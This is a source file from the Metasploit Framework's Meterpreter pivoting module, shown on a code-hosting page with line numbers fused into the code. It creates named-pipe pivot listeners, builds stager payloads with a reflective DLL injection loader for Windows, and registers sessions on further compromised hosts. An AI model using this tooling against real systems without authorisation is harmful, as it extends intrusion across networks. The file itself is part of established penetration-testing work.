Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/rex/post/meterpreter/pivot.rb
Views: 11784
# -*- coding: binary -*-12require 'rex/post/meterpreter/inbound_packet_handler'3require 'securerandom'45module Rex6module Post7module Meterpreter89class PivotListener10attr_accessor :id1112attr_accessor :session_class1314attr_accessor :url1516attr_accessor :stage1718def initialize(session_class, url, stage)19self.id = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')20self.session_class = session_class21self.url = url22self.stage = stage23end2425def to_row26[self.id.unpack('H*')[0], url, stage]27end28end2930class Pivot3132#33# The associated meterpreter client instance34#35attr_accessor :client3637attr_accessor :pivoted_session3839# Class modifications to support global pivot message40# dispatching without having to register a per-instance handler41class << self42include Rex::Post::Meterpreter::InboundPacketHandler4344# Class request handler for all channels that dispatches requests45# to the appropriate class instance's DIO handler46def request_handler(client, packet)47handled = false48if packet.method == COMMAND_ID_CORE_PIVOT_SESSION_NEW49handled = true50session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)51listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID)52client.add_pivot_session(Pivot.new(client, session_guid, listener_id))53elsif packet.method == COMMAND_ID_CORE_PIVOT_SESSION_DIED54handled = true55session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)56pivot = client.find_pivot_session(session_guid)57if pivot58pivot.pivoted_session.kill('Died')59client.remove_pivot_session(session_guid)60end61end62handled63end64end6566def Pivot.get_listeners(client)67client.pivot_listeners68end6970def Pivot.remove_listener(client, listener_id)71if client.find_pivot_listener(listener_id)72request = Packet.create_request(COMMAND_ID_CORE_PIVOT_REMOVE)73request.add_tlv(TLV_TYPE_PIVOT_ID, listener_id)74client.send_request(request)75client.remove_pivot_listener(listener_id)76end77end7879def Pivot.create_named_pipe_listener(client, opts={})80request = Packet.create_request(COMMAND_ID_CORE_PIVOT_ADD)81request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])8283# TODO: use the framework to generate the whole lot, including a session type84c = Class.new(::Msf::Payload)85c.include(::Msf::Payload::Stager)86c.include(::Msf::Payload::TransportConfig)87c.include(::Msf::Sessions::MeterpreterOptions)8889# TODO: add more platforms90case opts[:platform]91when 'windows'92# Include the appropriate reflective dll injection module for the target process architecture...93if opts[:arch] == ARCH_X8694c.include(::Msf::Payload::Windows::MeterpreterLoader)95elsif opts[:arch] == ARCH_X6496c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)97else98STDERR.puts("Not including a loader for '#{opts[:arch]}'\n")99end100end101102stage_opts = {103arch: opts[:arch],104force_write_handle: true,105null_session_guid: true,106datastore: {107exit_func: opts[:exit_func] || 'process',108expiration: client.expiration,109comm_timeout: client.comm_timeout,110retry_total: client.retry_total,111retry_wait: client.retry_wait,112'PIPEHOST' => opts[:pipe_host],113'PIPENAME' => opts[:pipe_name]114}115}116117# Create the migrate stager118stager = c.new()119120stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]121stage = stager.stage_payload(stage_opts)122123url = "pipe://#{opts[:pipe_host]}/#{opts[:pipe_name]}"124stage_config = "#{opts[:arch]}/#{opts[:platform]}"125pivot_listener = PivotListener.new(::Msf::Sessions::Meterpreter_x86_Win, url, stage_config)126127request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)128request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id)129130client.send_request(request)131132client.add_pivot_listener(pivot_listener)133134pivot_listener135end136137def initialize(client, session_guid, listener_id)138self.client = client139140opts = {141pivot_session: client,142session_guid: session_guid143}144145listener = client.find_pivot_listener(listener_id)146self.pivoted_session = listener.session_class.new(nil, opts)147148self.pivoted_session.framework = self.client.framework149registration = Proc.new do150self.pivoted_session.bootstrap({'AutoVerifySessionTimeout' => 30})151self.client.framework.sessions.register(self.pivoted_session)152153begin154self.client.framework.events.on_session_open(self.pivoted_session)155rescue ::Exception => e156wlog("Exception in on_session_open event handler: #{e.class}: #{e}")157wlog("Call Stack\n#{e.backtrace.join("\n")}")158end159end160self.client.framework.sessions.schedule registration161end162163protected164165#166# Cleans up any lingering resources167#168def cleanup169end170171end172173end; end; end174175176177178